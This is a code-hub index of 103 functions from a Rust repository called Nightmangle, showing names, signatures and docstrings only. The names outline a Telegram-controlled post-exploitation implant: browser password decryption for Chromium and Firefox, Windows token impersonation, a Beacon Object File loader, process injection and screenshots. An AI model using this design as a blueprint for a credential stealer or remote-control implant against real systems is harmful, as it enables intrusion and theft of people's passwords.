Code
Hub
Workspaces
Following
Trending
Connect
MCP
copy
Create free account
hub
/
github.com/1N73LL1G3NC3x/Nightmangle
/ functions
Functions
103 in github.com/1N73LL1G3NC3x/Nightmangle
⨍
Functions
103
◇
Types & classes
24
↓ 38 callers
Method
len
(&self)
src/loader/beacon_api.rs:184
↓ 21 callers
Method
push
push pushes a mapped function to the list.
src/loader/mod.rs:71
↓ 4 callers
Method
as_ref
(&'a self)
src/screenshot_lib.rs:83
↓ 4 callers
Function
send_large_message
(bot: &Bot, chat_id: ChatId, text: String)
src/main.rs:438
↓ 3 callers
Method
display_str
(&self)
src/imputils/impersonate.rs:31
↓ 2 callers
Function
crypt_unprotect_data
(data_buf: &mut [u8])
src/chromium/decryption_core.rs:21
↓ 2 callers
Function
decrypt_3des
(decoded_item: &BerObject, key: &[u8])
src/firefox/firefox.rs:118
↓ 2 callers
Method
from
(e: BerError)
src/firefox/firefox.rs:272
↓ 2 callers
Function
get_clear_value
(raw_ber: &[u8], global_salt: &[u8])
src/firefox/firefox.rs:199
↓ 2 callers
Function
get_token_user_info
Function to get user information about one Token
src/imputils/token.rs:144
↓ 2 callers
Method
height
(&self)
src/screenshot_lib.rs:32
↓ 2 callers
Method
is_x64
Gets the 64-bit architecture based on the COFF machine type.
src/loader/mod.rs:179
↓ 2 callers
Method
is_x86
Gets the 32-bit architecture based on the COFF machine type.
src/loader/mod.rs:170
↓ 2 callers
Method
pixel_width
(&self)
src/screenshot_lib.rs:44
↓ 2 callers
Function
pwstr_to_string
(buffer: PWSTR)
src/imputils/common.rs:6
↓ 2 callers
Method
query_accounts
(&self)
src/chromium/dumper.rs:78
↓ 2 callers
Method
row_len
(&self)
src/screenshot_lib.rs:40
↓ 2 callers
Function
se_priv_enable
Function to enable Windows Privileges SeDebugPrivilege and SeAssignPrimaryToken
src/imputils/impersonate.rs:237
↓ 2 callers
Method
width
(&self)
src/screenshot_lib.rs:36
↓ 1 callers
Method
add_int
add_int adds an int to the buffer
src/loader/beacon_pack.rs:36
↓ 1 callers
Method
add_short
add_short adds a short to the buffer
src/loader/beacon_pack.rs:30
↓ 1 callers
Method
add_str
add_str adds a string to the buffer
src/loader/beacon_pack.rs:42
↓ 1 callers
Method
add_wstr
add_wstr adds a wide string to the buffer
src/loader/beacon_pack.rs:53
↓ 1 callers
Function
aes_gcm_256
(key_buf: &mut [u8], pwd_buf: &[u8])
src/chromium/decryption_core.rs:10
↓ 1 callers
Method
allocate_bof_memory
Allocates all the memory needed for each relocation and section.
src/loader/mod.rs:289
↓ 1 callers
Method
append_char_array
(&mut self, s: *mut c_char, len: c_int)
src/loader/beacon_api.rs:156
↓ 1 callers
Method
append_string
(&mut self, s: String)
src/loader/beacon_api.rs:163
↓ 1 callers
Function
array_to_string
(buffer: [u8; 260])
src/imputils/common.rs:22
↓ 1 callers
Function
array_to_string_utf16
(buffer: &[u16])
src/imputils/common.rs:11
↓ 1 callers
Function
beacon_format_alloc
(format: *mut Formatp, maxsz: c_int)
src/loader/beacon_api.rs:342
↓ 1 callers
Function
beacon_format_free
(format: *mut Formatp)
src/loader/beacon_api.rs:478
↓ 1 callers
Function
beacon_get_output_data
()
src/loader/beacon_api.rs:547
↓ 1 callers
Function
chrome_main
()
src/chromium/main.rs:7
↓ 1 callers
Function
decrypt_login
(login: &EncryptedLogins, key: &[u8])
src/firefox/firefox.rs:105
↓ 1 callers
Method
dump
(&mut self)
src/chromium/dumper.rs:100
↓ 1 callers
Function
enum_token
Function tu enumerate all Tokens
src/imputils/token.rs:189
↓ 1 callers
Method
execute
Executes a bof file by allocating memory for the bof and executing it. The arguments are passed as a pointer to a byte array and the size of the byte
src/loader/mod.rs:115
↓ 1 callers
Method
execute_bof
( &self, arguments: Option<*const u8>, argument_size: Option<usize>, entrypoin
src/loader/mod.rs:685
↓ 1 callers
Method
find_browser_local_state
(&self)
src/chromium/dumper.rs:56
↓ 1 callers
Function
flip_rows
Reorder rows in bitmap, last to first. TODO rewrite functionally
src/screenshot_lib.rs:107
↓ 1 callers
Method
flush
(&mut self)
src/loader/beacon_api.rs:170
↓ 1 callers
Method
free_bof_memory
Iterates through each section and frees the memory allocated for each section using VirtualFree. This is done to prevent memory leaks.
src/loader/mod.rs:764
↓ 1 callers
Function
get_all_logins
()
src/firefox/firefox.rs:60
↓ 1 callers
Method
get_buffer
get_buffer returns the buffer with the size prepended
src/loader/beacon_pack.rs:22
↓ 1 callers
Function
get_firefox_paths
()
src/firefox/firefox.rs:49
↓ 1 callers
Function
get_function_ptr
Match the function name to the internal function pointer.
src/loader/beacon_api.rs:93
↓ 1 callers
Method
get_imp_based_on_architecture
This is a bit too repetitive Gets the __imp_(_) based on the architecture
src/loader/mod.rs:161
↓ 1 callers
Method
get_import_from_symbol
Gets the external or local function address from the symbol name and returns the result. When the symbol name is an internal function, it will return
src/loader/mod.rs:193
↓ 1 callers
Function
get_key_from_db
(path: &Path)
src/firefox/firefox.rs:138
↓ 1 callers
Function
get_logins
(login_path: &Path, key: &[u8], logins: &mut Logins)
src/firefox/firefox.rs:81
↓ 1 callers
Function
get_screenshot
(_screen: usize)
src/screenshot_lib.rs:121
↓ 1 callers
Function
get_token_information
(token: *mut Token)
src/imputils/token.rs:94
↓ 1 callers
Function
get_token_session_id
Function to get session id from one Token
src/imputils/token.rs:174
↓ 1 callers
Function
get_value_pbes2
(decoded_item: &BerObject, global_salt: &[u8])
src/firefox/firefox.rs:211
↓ 1 callers
Function
hexlify_args
(args: Vec<String>)
src/main.rs:395
↓ 1 callers
Function
impersonate
Function to impersonate process from PID and execute commande
src/imputils/impersonate.rs:67
↓ 1 callers
Method
raw_data
(&self)
src/screenshot_lib.rs:48
↓ 1 callers
Method
read_local_state
(&mut self)
src/chromium/dumper.rs:67
↓ 1 callers
Method
reset
(&mut self)
src/loader/beacon_api.rs:188
↓ 1 callers
Function
save_screenshot
()
src/screen_capture.rs:5
↓ 1 callers
Function
send_image_withcaption
(bot: &Bot, chat_id: ChatId, vec: Vec<u8>, caption: String)
src/main.rs:455
↓ 1 callers
Function
swap_endianness
(src: u32)
src/loader/beacon_api.rs:756
↓ 1 callers
Function
unhexilify_args
(value: &str)
src/main.rs:381
Function
beacon_cleanup_process
(pinfo: *const PROCESS_INFORMATION)
src/loader/beacon_api.rs:714
Function
beacon_data_extract
(parser: *mut Datap, size: *mut c_int)
src/loader/beacon_api.rs:297
Function
beacon_data_int
(parser: *mut Datap)
src/loader/beacon_api.rs:229
Function
beacon_data_length
(parser: *mut Datap)
src/loader/beacon_api.rs:285
Function
beacon_data_parse
(parser: *mut Datap, buffer: *mut c_char, size: c_int)
src/loader/beacon_api.rs:198
Function
beacon_data_ptr
(_parser: *mut Datap, _size: c_int)
src/loader/beacon_api.rs:222
Function
beacon_data_short
(parser: *mut Datap)
src/loader/beacon_api.rs:257
Function
beacon_format_append
(format: *mut Formatp, text: *const c_char, len: c_int)
src/loader/beacon_api.rs:400
Function
beacon_format_int
(format: *mut Formatp, value: c_int)
src/loader/beacon_api.rs:511
Function
beacon_format_printf
(format: *mut Formatp, fmt: *const c_char, mut args: ...)
src/loader/beacon_api.rs:427
Function
beacon_format_reset
(format: *mut Formatp)
src/loader/beacon_api.rs:376
Function
beacon_format_to_string
(format: *mut Formatp, size: *mut c_int)
src/loader/beacon_api.rs:458
Function
beacon_get_spawn_to
(_x86: BOOL, _buffer: *const c_char, _length: c_int)
src/loader/beacon_api.rs:620
Function
beacon_inject_process
( _hproc: HANDLE, pid: c_int, payload: *const c_char, p_len: c_int, _p_offset: c_int,
src/loader/beacon_api.rs:626
Function
beacon_inject_temporary_process
( _pinfo: *const PROCESS_INFORMATION, _pid: c_int, _payload: *const c_char, _p_len: c_int,
src/loader/beacon_api.rs:689
Function
beacon_is_admin
()
src/loader/beacon_api.rs:587
Function
beacon_output
(_type: c_int, data: *mut c_char, len: c_int)
src/loader/beacon_api.rs:541
Function
beacon_printf
(_type: c_int, fmt: *mut c_char, mut args: ...)
src/loader/beacon_api.rs:553
Function
beacon_revert_token
()
src/loader/beacon_api.rs:577
Function
beacon_spawn_temporary_process
( _x86: BOOL, _ignore_token: BOOL, _si: *const STARTUPINFOA, _pinfo: *const PROCESS_INFORMATIO
src/loader/beacon_api.rs:703
Function
beacon_use_token
(token: HANDLE)
src/loader/beacon_api.rs:571
Method
drop
drop frees the memory allocated for the MappedFunctions struct.
src/loader/mod.rs:79
Method
fmt
(&self, f: &mut std::fmt::Formatter<'_>)
src/imputils/token.rs:60
Method
fmt
(&self, f: &mut std::fmt::Formatter<'_>)
src/firefox/firefox.rs:28
Method
from
(_: std::io::Error)
src/chromium/models.rs:71
Method
from
(e: rusqlite::Error)
src/chromium/dumper.rs:12
Method
from_chrome_acc
( mut chrome_acc: ChromeAccount, master_key: Option<&mut [u8]>, )
src/chromium/models.rs:32
Method
get_pixel
Gets pixel at (row, col)
src/screenshot_lib.rs:65
Function
main
()
build.rs:1
Function
main
()
src/main.rs:31
Method
mf
(_: T)
src/firefox/firefox.rs:266
Method
new
new returns a new BeaconPack
src/loader/beacon_pack.rs:14
Method
new
new returns a new MappedFunctions struct.
src/loader/mod.rs:48
Method
new
()
src/loader/beacon_api.rs:149
Method
new
(website: String, username_value: String, password_value: Vec<u8>)
src/chromium/models.rs:61
Method
new
(name: &'static str, author: &'static str)
src/chromium/dumper.rs:40
Method
raw_data_mut
(&mut self)
src/screenshot_lib.rs:54
next →
1–100 of 103, ranked by callers